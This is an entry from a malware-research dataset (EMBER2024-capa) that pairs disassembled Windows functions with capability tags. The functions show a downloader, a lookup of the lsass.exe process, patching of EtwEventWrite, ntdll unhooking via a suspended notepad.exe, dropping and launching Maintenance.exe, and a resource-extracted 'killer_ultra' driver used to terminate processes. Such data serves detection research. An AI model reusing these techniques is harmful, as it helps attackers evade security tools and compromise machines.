joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013bd0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
jmp 0x140013bd0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x10d0
call fcn.140001f64
sub rsp, rax
lea rdi, [rsp + 0x40]
mov ecx, 0x424
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x10e0]
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x10c0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Download_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140013c5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen__d_n
call fcn.140003805
xor al, al
jmp 0x140013dce
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x10e0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140013cb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpenUrlW__d_n
call fcn.140003805
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140013dce
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x10e8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140013d28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile__d_n
call fcn.140003805
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140013dce
mov byte [rsp + 0x1094], 1
lea r9, [rsp + 0x64]
mov r8d, 0x1000
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140013d94
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x10a4]
mov r8d, dword [rsp + 0x64]
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x10a4]
cmp dword [rsp + 0x64], eax
je 0x140013d92
mov byte [rsp + 0x1094], 0
jmp 0x140013da5
jmp 0x140013d9e
mov byte [rsp + 0x1094], 0
jmp 0x140013da5
cmp dword [rsp + 0x64], 0
ja 0x140013d30
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movzx eax, byte [rsp + 0x1094]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a8fe0]
call fcn.14000565a
mov rax, rdi
mov rcx, qword [rsp + 0x10c0]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x10d0
pop rdi
ret
Function at 0x140013e70
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140013e70
push rdi
sub rsp, 0x2a0
lea rdi, [rsp + 0x20]
mov ecx, 0xa0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140013f15
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140013f0a
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x6c]
call fcn.140003972
test eax, eax
jne 0x140013ef7
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
jmp 0x140013f0a
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140013ed8
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov edi, eax
mov rcx, rsp
lea rdx, [0x1401a9040]
call fcn.14000565a
mov eax, edi
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x2a0
pop rdi
ret
Function at 0x140013f50
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
jmp 0x140013f50
push rdi
sub rsp, 0xd0
lea rdi, [rsp + 0x20]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x24], 0
mov byte [rsp + 0x48], 0x45
mov byte [rsp + 0x49], 0x74
mov byte [rsp + 0x4a], 0x77
mov byte [rsp + 0x4b], 0x45
mov byte [rsp + 0x4c], 0x76
mov byte [rsp + 0x4d], 0x65
mov byte [rsp + 0x4e], 0x6e
mov byte [rsp + 0x4f], 0x74
mov byte [rsp + 0x50], 0x57
mov byte [rsp + 0x51], 0x72
mov byte [rsp + 0x52], 0x69
mov byte [rsp + 0x53], 0x74
mov byte [rsp + 0x54], 0x65
mov byte [rsp + 0x55], 0
mov byte [rsp + 0x74], 0x6e
mov byte [rsp + 0x75], 0x74
mov byte [rsp + 0x76], 0x64
mov byte [rsp + 0x77], 0x6c
mov byte [rsp + 0x78], 0x6c
mov byte [rsp + 0x79], 0
mov byte [rsp + 0x94], 0x48
mov byte [rsp + 0x95], 0x33
mov byte [rsp + 0x96], 0xc0
mov byte [rsp + 0x97], VarDecRound
lea rcx, [rsp + 0x74]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x14001404f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_EtwEventWrite_Addr___u__n
call fcn.140003805
xor eax, eax
jmp 0x1400140fc
lea r9, [rsp + 0x24]
mov r8d, 0x40
mov edx, 0x1000
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0
jne 0x140014096
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection___u__n
call fcn.140003805
xor eax, eax
jmp 0x1400140fc
mov r8d, 4
lea rdx, [rsp + 0x94]
mov rcx, qword [rsp + 0xa8]
call fcn.1400038f5
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov edx, 0x1000
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0
jne 0x1400140f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection_back___u__n
call fcn.140003805
xor eax, eax
jmp 0x1400140fc
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a9170]
call fcn.14000565a
mov rax, rdi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0xd0
pop rdi
ret
Function at 0x140014130
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x140014130
push rdi
sub rsp, 0x170
lea rdi, [rsp + 0x50]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rsp + 0x50], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140004f7f
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0xf8]
call fcn.140004f7f
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0xf8], 0
jne 0x1400141e6
lea rcx, str.____Error_creating_process_r_n
call fcn.140003805
xor eax, eax
jmp 0x1400142cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x118], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x148], rax
mov r9d, 0x18
lea r8, [rsp + 0x128]
mov rdx, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x118]
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [rsp + 0x130]
mov qword [rsp + 0x168], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x168]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x130]
lea rcx, [rsp + 0x158]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rsp + 0x164], eax
cmp dword [rsp + 0x164], 0
jne 0x1400142b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_reading_ntdll___u__n
call fcn.140003805
xor eax, eax
jmp 0x1400142cc
xor edx, edx
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x50]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a9280]
call fcn.14000565a
mov rax, rdi
add rsp, 0x170
pop rdi
ret
Function at 0x1400142f0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
jmp 0x1400142f0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xd0
lea rdi, [rsp + 0x20]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov byte [rsp + 0x28], 0x6e
mov byte [rsp + 0x29], 0x74
mov byte [rsp + 0x2a], 0x64
mov byte [rsp + 0x2b], 0x6c
mov byte [rsp + 0x2c], 0x6c
mov byte [rsp + 0x2d], 0x2e
mov byte [rsp + 0x2e], 0x64
mov byte [rsp + 0x2f], 0x6c
mov byte [rsp + 0x30], 0x6c
mov byte [rsp + 0x31], 0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x54], 0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0
jmp 0x1400143af
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x78], eax
jge 0x14001452a
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x70]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rsp + 0x78]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x94], 0x2e
mov byte [rsp + 0x95], 0x74
mov byte [rsp + 0x96], 0x65
mov byte [rsp + 0x97], 0x78
mov byte [rsp + 0x98], 0x74
mov byte [rsp + 0x99], 0
mov rax, qword [rsp + 0x80]
lea rdx, [rsp + 0x94]
mov rcx, rax
call fcn.140006e24
test eax, eax
jne 0x140014525
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x80]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x54]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 0
jne 0x140014485
xor eax, eax
jmp 0x14001452f
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x80]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0xe0]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x80]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0x48]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0xb8], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0xb8]
mov rcx, rax
call fcn.1400038f5
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x80]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x54]
mov r8d, dword [rsp + 0x54]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0
jne 0x140014525
xor eax, eax
jmp 0x14001452f
jmp 0x1400143a5
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a9360]
call fcn.14000565a
mov rax, rdi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0xd0
pop rdi
ret
Function at 0x140014b50
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
jmp 0x140014b50
push rdi
sub rsp, 0x380
lea rdi, [rsp + 0x50]
mov ecx, 0xcc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x378], rax
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x140014cab
lea rdx, [0x1401a8000]
lea rcx, [rsp + 0x60]
call fcn.140001537
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.SystemMaintenance
lea rcx, [rsp + 0x60]
call fcn.140001537
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.Maintenance.exe
lea rcx, [rsp + 0x60]
call fcn.140001537
movzx eax, word [0x1401a7a34]
mov word [rsp + 0x284], ax
lea rcx, [rsp + 0x284]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
mov rdx, rax
lea rcx, [rsp + 0x284]
call fcn.140004f48
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140005d85
movzx eax, al
test eax, eax
je 0x140014c7a
lea rdx, str.Downloaded_and_saved_to
lea rcx, [0x1401feb00]
call fcn.140003b70
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140003b70
mov qword [rsp + 0x360], rax
lea rdx, [0x14000390e]
mov rcx, qword [rsp + 0x360]
call fcn.1400052e0
jmp 0x140014ca9
lea rdx, str.Download_failed_
lea rcx, [0x1401feb00]
call fcn.140003b70
mov qword [rsp + 0x368], rax
lea rdx, [0x14000390e]
mov rcx, qword [rsp + 0x368]
call fcn.1400052e0
jmp 0x140014cda
lea rdx, str.Could_not_get_ProgramData_path_
lea rcx, [0x1401feb00]
call fcn.140003b70
mov qword [rsp + 0x370], rax
lea rdx, [0x14000390e]
mov rcx, qword [rsp + 0x370]
call fcn.1400052e0
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x338]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x2b0], 0x68
lea rcx, [rsp + 0x60]
call fcn.1400015e6
lea rax, [rsp + 0x338]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rsp
lea rdx, [0x1401a9a10]
call fcn.14000565a
mov rcx, qword [rsp + 0x378]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x380
pop rdi
ret
Function at 0x140015860
Capabilities:
Extract resource via kernel32 functions
Set file attributes

Disassembly:
jmp 0x140015860
push rdi
sub rsp, 0x50
lea r8, str.killer_ultra
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001588e
xor eax, eax
jmp 0x14001593c
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400158af
xor eax, eax
jmp 0x14001593c
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x38], eax
lea rdx, [0x1401a7a6c]
lea rcx, [0x1401a8268]
call fcn.140001ab4
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400158f4
xor eax, eax
jmp 0x14001593c
mov edx, 2
lea rcx, [0x1401a8278]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x140015918
mov rcx, qword [rsp + 0x40]
call fcn.14000310c
xor eax, eax
jmp 0x14001593c
mov eax, dword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov edx, eax
mov rcx, qword [rsp + 0x30]
call fcn.140006c0d
mov rcx, qword [rsp + 0x40]
call fcn.14000310c
mov eax, 1
add rsp, 0x50
pop rdi
ret

Function at 0x140015950
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140015950
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x440
lea rdi, [rsp + 0x40]
mov ecx, 0x100
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x450]
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x84], 0
mov dword [rsp + 0x94], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0xffffffffffffffff
je 0x140015ab7
mov dword [rsp + 0xb0], 0x238
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x98]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140015aa9
mov r8d, 0x104
lea rdx, [rsp + 0xdc]
lea rcx, [rsp + 0x310]
call fcn.140005a1f
lea rcx, [rsp + 0x310]
call fcn.140005fba
test eax, eax
je 0x140015a8c
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x84]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x44]
mov edx, 0x80002048
mov rcx, qword [rsp + 0x450]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140015a7c
jmp 0x140015a8c
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x98]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400159f9
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x94]
mov edi, eax
mov rcx, rsp
lea rdx, [0x1401a9d50]
call fcn.14000565a
mov eax, edi
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x440
pop rdi
ret
Function at 0x140015af0
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140015af0
push rdi
sub rsp, 0x3e0
lea rdi, [rsp + 0x20]
mov ecx, 0xf0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x2c], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
je 0x140015bcd
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140015bc2
mov r8d, 0x104
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x2b0]
call fcn.140005a1f
lea rcx, [rsp + 0x2b0]
call fcn.140005fba
test eax, eax
je 0x140015baf
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], eax
mov eax, dword [0x1401fe8b8]
inc eax
mov dword [0x1401fe8b8], eax
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140015b70
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x2c]
mov edi, eax
mov rcx, rsp
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000565a
mov eax, edi
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x3e0
pop rdi
ret
Function at 0x1400869c0
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400869c0
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
call fcn.140002f4a
mov dword [rsp + 0x28], eax
call fcn.14000413d
mov ecx, 8
imul rcx, rcx, 5
mov rax, qword [rax + rcx]
mov qword [rsp + 0x30], rax
mov r9d, dword [rsp + 0x28]
lea r8, [rsp + 0x20]
mov edx, 0x22
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov eax, 2
imul rax, rax, 0
movzx eax, word [rsp + rax + 0x20]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0x30
je 0x140086a3f
cmp dword [rsp + 0x24], 0x31
je 0x140086a46
cmp dword [rsp + 0x24], 0x32
je 0x140086a4d
jmp 0x140086a54
mov eax, 2
jmp 0x140086a56
mov eax, 1
jmp 0x140086a56
mov eax, 3
jmp 0x140086a56
xor eax, eax
add rsp, 0x40
pop rdi
ret
Function at 0x140149d10
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140001f64
sub rsp, rax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140200dd0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140149f02
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140149e56
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140149e56
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x140149e3b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140149dd8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140149ec2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140149f21
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x140149efd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140149f21
jmp 0x140149dae
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x1498
pop rdi
pop rsi
ret